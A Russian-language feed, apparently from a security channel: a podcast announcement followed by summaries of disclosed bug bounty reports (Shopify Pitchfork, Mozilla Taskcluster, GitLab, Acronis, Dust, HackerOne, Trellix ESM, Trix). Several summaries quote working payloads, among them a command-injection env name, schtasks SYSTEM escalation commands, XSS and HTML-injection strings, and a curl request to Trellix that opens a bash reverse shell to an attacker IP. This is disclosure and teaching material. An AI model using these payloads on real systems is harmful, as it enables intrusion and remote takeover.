KHS Talks: Сергей Белов и Олжас Сатиев о мифах в кибербезопасности.

KHS Talks — подкаст о кибербезопасности, где мы простым языком говорим о том, что на самом деле важно. Для обычных пользователей и для бизнеса — без сложных терминов, но по делу. Обсуждаем всё: от новостей до трендов и реальных кейсов.

В пилотном выпуске вместе с нашим гостем Сергеем Беловым, директором по информационной безопасности, мы поговорим о мифах, которые до сих пор живут в сфере ИБ. Что из этого уже давно неактуально?

1. Мифы о кибербезопасности. 2025 год: какие есть проблемы?
2. Взломы в 2010-ых. Время без https
3. За 15 лет поменялось многое. TLS сертификат
4. Можно ли пользоваться публичным Wi-Fi? Виртуальные карты. Как догонять людей с помощью Wi-Fi
5. Смена паролей. 12345Аа!
6. Режим Инкогнито в браузерах
7. Антивирусы. Нужен ли нам отечественный антивирус?
8. Компьютерные клубы. Риск взломов
9. DLP и Кибербез. Мониторят ли компании сотрудников?
10. Автозаполнения тогда и сейчас
11. Безопасна ли продукция Apple? Вирусы для MacOS
12. VPN, как дополнительное место атаки
13. Расширения в браузерах и Cookies
14. Евросоюз станет лидером в кибербезопасности?
15. Кибербезопасность — не тренд, а фундамент

Смотрим на YouTube канале:

https://youtu.be/QFotK9T8Mig?si=22fjDO0pJiU7BDFX

🚨 Инъекция HTTP заголовка в Shopify Pitchfork из-за апгрейда Rack!

Интересный баг в Pitchfork (минималистичный Rack-сервер от Shopify). Оказывается, при работе с Rack 3 он становится уязвим к HTTP Response Header Injection.


🚀 Суть: Rack 3 возвращает значения заголовков в виде массива. Pitchfork версии 0.10.0 просто итерируется по этому массиву и добавляет значения в буфер ответа без какой-либо фильтрации символов \r или \n.

🔍 Что это дает?
– Инъекцию произвольных заголовков (Set-Cookie, Location и т.д.) через \r\n или даже просто \n.
– Возможность вызвать XSS, если удастся внедрить \r\n\r\n, перенося остаток "заголовка" в тело ответа.

💡 Почему это интересно? С Rack 2 такой проблемы не было — там значения заголовков проходили через сплит по \n, что эффективно удаляло опасные последовательности. Классический пример, как обновление зависимости может неожиданно открыть дыру в безопасности. 😬

💰 Shopify подтвердили баг и выплатили $800 (низкая критичность для их инфраструктуры, но может быть выше в других сетапах).

Хотите больше деталей, PoC-скриншоты и рекомендации по фиксу? 👇
eh.su/reports/74

🐛 RCE в CI/CD Mozilla Taskcluster!

Исследователь обнаружил уязвимость на публичном инстансе community-tc.services.mozilla.com, позволяющую выполнить код на worker-хосте.

⚙️ Как? Очень просто: оказывается, что Taskcluster при формировании команды 'podman run' экранирует почти всё, кроме имени переменной окружения. Зловредное имя из секции payload.env (например, test --help ; whoami ;) напрямую подставлялось в аргумент --env, что приводило к выполнению shell-команд на хосте до запуска контейнера.

💥 Эксплуатация была тривиальной: любой пользователь GitHub мог авторизоваться, выбрать тестовый воркер-групп proj-misc/tutorial и запустить задачу с кастомным YAML, содержащим вредоносное имя переменной. Результат (whoami, ls) был виден прямо в логах задачи.

💰 Уязвимость обходит контейнерную изоляцию. Несмотря на то, что баг получил критичность low, Mozilla выплатила $500, так как проблема затрагивала основную кодовую базу Taskcluster.

Все технические детали, PoC и рекомендации по исправлению читайте в полном разборе:
eh.su/reports/76

🔥 Subdomain Takeover в GitLab Pages! Классика, но с нюансом.


🔧 Каким образом: GitLab Pages продолжал обслуживать кастомные домены целых 7 дней до их верификации. Это создавало окно возможностей: атакующий мог добавить чужой (еще не верифицированный) домен к себе в проект, быстро настроить CNAME/ALIAS на *.gitlab.io и вуаля – полный контроль над субдоменом жертвы!

💥 Последствия классические для такого типа атак: кража кук (если нет Secure и HttpOnly), фишинг под видом легитимного ресурса, и обход CSP/CORS для внедрения своего JS. В PoC засветился docs-dev.gitlab.com.

🕵️‍♂️ Интересный момент: триаж-команда не сразу смогла воспроизвести баг из-за отсутствия доступа к DNS gitlab.com. Ресерчеру пришлось демонстрировать PoC на своем домене (gitlab.info-sec.cl), что в итоге и убедило команду.


🔗 Все детали, шаги воспроизведения и технические подробности – в полном отчёте по ссылке ниже:
eh.su/reports/77

🤘 Сегодня под микроскопом интересный кейс повышения привилегий.

💡 В Acronis True Image 2021 была обнаружена уязвимость DLL Hijacking в компоненте «Rescue Media Builder» (MediaBuilder.exe). Суть в том, что приложение при запуске пыталось подгрузить библиотеку tcmalloc.dll, которой не было в стандартной поставке.

😈 Windows, в своем стремлении помочь, начинала искать эту DLL согласно Search Order, заглядывая в том числе и в директории из переменной PATH. Как вы понимаете, если в PATH есть папка, куда пользователь может писать (например, %USERPROFILE%\AppData\Local\Microsoft\WindowsApps), то туда можно было подложить свою зловредную tcmalloc.dll.

🚀 При запуске Rescue Media Builder, приложение цепляло подмененную DLL, и атакующий получал выполнение кода с правами администратора. Но это еще не все! Имея права админа, можно было провернуть трюк с schtasks.exe для создания и запуска задачи от имени NT AUTHORITY\SYSTEM, например:

> schtasks /create /SC WEEKLY /RU \"NT AUTHORITY\SYSTEM\" /TN EOP /TR C:\Windows\System32\winver.exe /IT /RL HIGHEST
> schtasks /run /I /TN EOP

И вот у нас уже полный контроль над системой!

💸 В итоге, любой локальный пользователь мог эскалировать свои привилегии до SYSTEM. Команда Acronis оперативно отреагировала на репорт от z3ron3, выпустила фикс и дала баунти в размере $250.

📖 Полный разбор этой уязвимости и рекомендации по защите читайте на нашем сайте:
eh.su/reports/79

🎯 Разбор интересного кейса с HTML-инъекцией в GitLab.

В чём было дело: Если на self-managed инстансе GitLab включена опция мягкого подтверждения email (soft email confirmation), атакующий может внедрить HTML-теги прямо в свой адрес электронной почты в профиле.

⚙️ Как это работает: Злоумышленник регистрируется и меняет свой email, добавляя что-то вроде:

user@example.com<h2>test<img/src=http://evil.test/p.png>

Когда администратор вручную подтверждает такого пользователя через Admin Area → Users → Confirm user, GitLab некорректно обрабатывает поле unconfirmed_email при формировании модального окна подтверждения. В итоге, HTML-теги (например, <h2> и <img>) рендерятся прямо в этом окне.

💥 Импакт: Администратор, подтверждая пользователя, незаметно для себя отправляет HTTP-запрос на сервер атакующего (через тег <img>), что приводит к утечке его IP-адреса. Хотя <script> отфильтрованы, это все еще можно использовать для простого фишинга или сбора информации. Уязвимость получила оценку Low.

✅ Фикс и награда: Проблема была исправлена в GitLab 16.1.1. Исследователь получил баунти в размере $1060. Важно было правильно экранировать данные перед выводом в messageHtml.


🔗 Хотите узнать больше деталей и увидеть скриншоты? Полный разбор ждет вас по ссылке:
eh.su/reports/78

Сохранение привилегий через клонирование агента на платформе Dust

🤔 Представьте: вы — обычный пользователь платформы Dust, а хотите бесплатно и безлимитно пользоваться самой крутой LLM, например, gemini-pro, даже если админ её отключил!
Оказывается, это было возможно.

Исследователь обнаружил, что эндпоинт

PATCH /api/w/{w_id}/assistant/agent_configurations/{agent-id}

не проверял, что sid (уникальный ID агента), указанный в теле запроса, относится к глобальному, защищённому агенту.

🛠 Схема атаки была до гениальности простой:

1. Создать своего личного ассистента через веб-интерфейс.
2. Перехватить PATCH запрос на его обновление (например, при смене описания).
3. В пути запроса заменить sid своего агента на нужного глобального агента (например, gemini-pro).
4. В теле JSON-запроса также указать "sid": "gemini-pro".
💥 Вуаля! Ваш личный агент становился полноценным клоном gemini-pro, и им можно было пользоваться, даже когда админ отключал "оригинал", расходуя платные токены компании.

💸 Последствия? Полная компрометация механизма квотирования – сервис платил за запросы к "выключенной" модели. Администратор терял контроль, а компания – деньги, плюс потенциальная утечка контента prompt-инструкций. Классический IDOR, ведущий к эскалации привилегий из-за отсутствия серверной валидации sid и прав на изменение системных записей.

💡 Главный урок этого кейса: НИКОГДА не полагайтесь на клиентские ограничения и всегда валидируйте на сервере права на изменение чувствительных полей, особенно идентификаторов! Проверяйте, кому принадлежит изменяемый объект и не является ли он системным. К чести Dust, они оперативно всё исправили.

🔗 Подробный разбор, скриншоты и детали фикса читайте в полном отчёте:
eh.su/reports/80

🤔 HackerOne уязвим? Да, и ещё как!

Недавно исследователь avinash_ обнаружил, что публичный JSON-эндпоинт HackerOne /reports/:id.json мог сливать тонны личных данных пользователей. И всё из-за, казалось бы, безобидной фичи – summary в репортах!

🐞 Суть бага: лишняя болтливость API
Если в публично раскрытом отчёте на HackerOne присутствовал хотя бы один summary (краткое резюме от репортёра или команды), то API-эндпоинт /reports/[id].json вместо того, чтобы отдавать только текст этого summary, целиком сериализовал связанную запись пользователя (reporter/author). Это классический Information Disclosure.

💧 Что утекало? Практически всё!
В результате любой мог получить доступ к чужим email-адресам, хэшам TOTP-секретов, OTP-резервным кодам, номерам телефонов, токенам GraphQL, размерам футболок и многим другим полям, которые явно не предназначались для публичного просмотра. 😱

🔧 Техническая сторона: "умный" сериализатор подвёл
Скорее всего, проблема крылась в «слишком умном» сериализаторе (в Rails-мире это мог быть ActiveModel::Serializers или Jbuilder). Вместо явного указания полей для вывода (whitelist), он по умолчанию вытягивал все поля ассоциированной модели User. Иронично, что баг появился после релиза, который выкатили всего за 90 минут до репорта – настоящий "0-day на самом HackerOne"!

💣 Утечка была критической:
– TOTP-секрет + резервные коды = фактический обход 2FA при известном пароле.
– Токен graphql_secret_token мог позволить эмулировать запросы от имени пользователя.
– Email и телефон – прямая дорога к фишингу и SIM-swapping.
Уязвимость затрагивала все раскрытые отчёты с summary, а это десятки тысяч профилей.

🛠 Фикс и награда
Инженеры H1 подтвердили и исправили баг в течение полутора дней, заставив сериализатор отдавать строго ограниченный набор публичных полей. Исследователь avinash_ получил за свою находку $25,000! 💰

🎓Этот случай – отличное напоминание:
1. Всегда используйте explicit whitelist при сериализации объектов, особенно User-моделей.
2. Автоматические тесты на изменения в API и DAST/снапшот-тесты после миграций сериализаторов – мастхев.
Даже компании, специализирующиеся на безопасности, могут допустить классические ошибки.

➡️ Полный разбор этого интереснейшего репорта читайте на сайте:
eh.su/reports/81

💣 0-click RCE в Trellix Enterprise Security Manager 11.6.10: Классическая связка из двух уязвимостей, которая позволила получить полный контроль над SIEM-системой.

🔗 Вся магия начиналась с неверно сконфигурированной директивы ProxyPass в Apache. Запросы к /rs без аутентификации проксировались на локальный AJP-порт 8009 (ProxyPass /rs ajp://localhost:8009/rs). Исследователь использовал трюк с "Breaking Parser Logic" (помните доклад Orange Tsai?), добавив ..;/ в URL. Apache считал это валидным, а Tomcat нормализовал путь, открывая доступ к внутреннему Snowservice и его API SnowflexAdminServices.

💻 Дальше – дело техники! В методе ManageNode этого самого Snowservice параметр name передавался прямиком в системную команду sh -c <name>. Конечно же, без какой-либо фильтрации. Обернув пейлоад в обратные кавычки (например, id), можно было выполнить произвольные команды с правами root. Пример для получения шелла:

curl -k -X POST https://<ESM>/rs/..;/Snowservice/SnowflexAdminServices/ManageNode -d '{"serverName":"poc","processes":[{"name":"bash -i >& /dev/tcp/<ATTACKER_IP>/2137 0>&1","signal":"Restart"}]}'

💥 Итог: неаутентифицированный удаленный захват SIEM-сервера с root-привилегиями, доступ к чувствительным логам и возможность дальнейшего продвижения по сети. Ошибка в конфигурации прокси и отсутствие валидации пользовательского ввода – гремучая смесь!

🛡 Команда Trellix отреагировала оперативно: баг был подтвержден, и патч выпущен в разумные сроки. Это хороший пример того, насколько важно тщательно настраивать проксирование и всегда валидировать пользовательский ввод, особенно когда речь идет о передаче данных в системные вызовы.

📖 Полный разбор с техническими деталями, PoC и хронологией доступен здесь:
eh.su/reports/82

👋 Stored XSS в довольно популярном WYSIWYG-редакторе Trix (версии 2.1.1), который используется в Basecamp и Rails ActionText.

🐞 Суть уязвимости: Исследователь thwin_htet обнаружил, что Trix некорректно санитайзил HTML, вставляемый из буфера обмена. Если подменить contentType на text/html5 внутри атрибута data-trix-attachment, то встроенный санитайзер пропускал теги <img> с инлайновыми обработчиками событий, например, onerror. Это приводило к постоянному выполнению JS-кода у всех, кто открывал зараженную заметку, задачу или комментарий.
Забавно, что это был обход патча CVE-2024-34341, выпущенного месяцем ранее!

🛠 Как это работало? Атакующий мог создать специальную HTML-структуру:

<div data-trix-attachment='{"contentType":"text/html5","content":"<img src=1 onerror=alert(document.domain)>XSS POC"}'></div>

При копировании и вставке этого (скрытого) содержимого в редактор Trix, XSS-ка сразу же отрабатывала. Просто, но изящно!

💥 Импакт был серьезным:
– Кража CSRF-токенов и сессионных cookies.
– Выполнение действий от имени пользователя (создание/удаление задач, отправка сообщений).
– Теоретическая возможность создания XSS-червя.

💸 Награда и фикс: Баг был подтвержден, и исследователь получил $1000 (нижняя граница для high-severity). Уязвимость была исправлена в Trix 2.1.5 (PR #1156), а GitHub присвоил ей новый идентификатор GHSA-qm2q-9f3q-2vcv.


💡 Любые комплексные форматы данных (аттачи, oEmbed, Markdown) требуют многоступенчатой и тщательной дезинфекции. "Скрытые" поля и метаданные часто становятся идеальным вектором для атаки. Не забывайте про CSP и регрессионные тесты!

🔗 Узнать все технические детали и посмотреть PoC можно в полном разборе:
eh.su/reports/85

🎯 Разбор свежего репорта на GitLab: Недавно там всплыл интересный IDOR, который позволял получить доступ ко всем моделям машинного обучения через их ML Model Registry (фича, появившаяся в GitLab ≥ 15.11). Исследователь moblig обнаружил, что этот модуль "забывал" проверять права доступа в GraphQL.

🔍 Как это работало? Достаточно было знать (или просто перебрать) инкрементный глобальный ID модели, например, gid://gitlab/Ml::Model/1000401. С таким ID можно было через GraphQL-запрос getModel вытащить полное описание даже приватной модели: конфиденциальные параметры обучения, ссылки на артефакты, CI-джобу, пользователя и так далее.

🔩 Корень зла: Отсутствие проверки политики Ml::ModelPolicy в GraphQL-резолвере MlModelResolver. Запросы проходили авторизационный слой REST, но внутрь GraphQL они попадали напрямую, а ID генерировались монотонно и предсказуемо. Простым декрементом можно было перебрать весь пул объектов!

💥 Последствия: Любой авторизованный пользователь GitLab.com или self-managed инстанса (даже с бесплатного аккаунта!) мог скачать или просмотреть все модели, независимо от приватности проектов. Это утечка исследовательских датасетов, бизнес-логики и CI-пайплайнов. Сложность атаки – минимальная.

🛠 Результат: Уязвимость оперативно исправили (Issue #466224), а исследователь получил награду в $1160. Отличная работа!

💡 GraphQL – мощный инструмент, но его слой авторизации часто упускают из виду, особенно в новом функционале. А ведь в ML-моделях может храниться куда больше чувствительных данных (гиперпараметры, метрики), чем кажется на первый взгляд, что позволяет воссоздать конкурентную ML-разработку.

🔗 Полный разбор, как всегда, ждет вас по ссылке:
eh.su/reports/86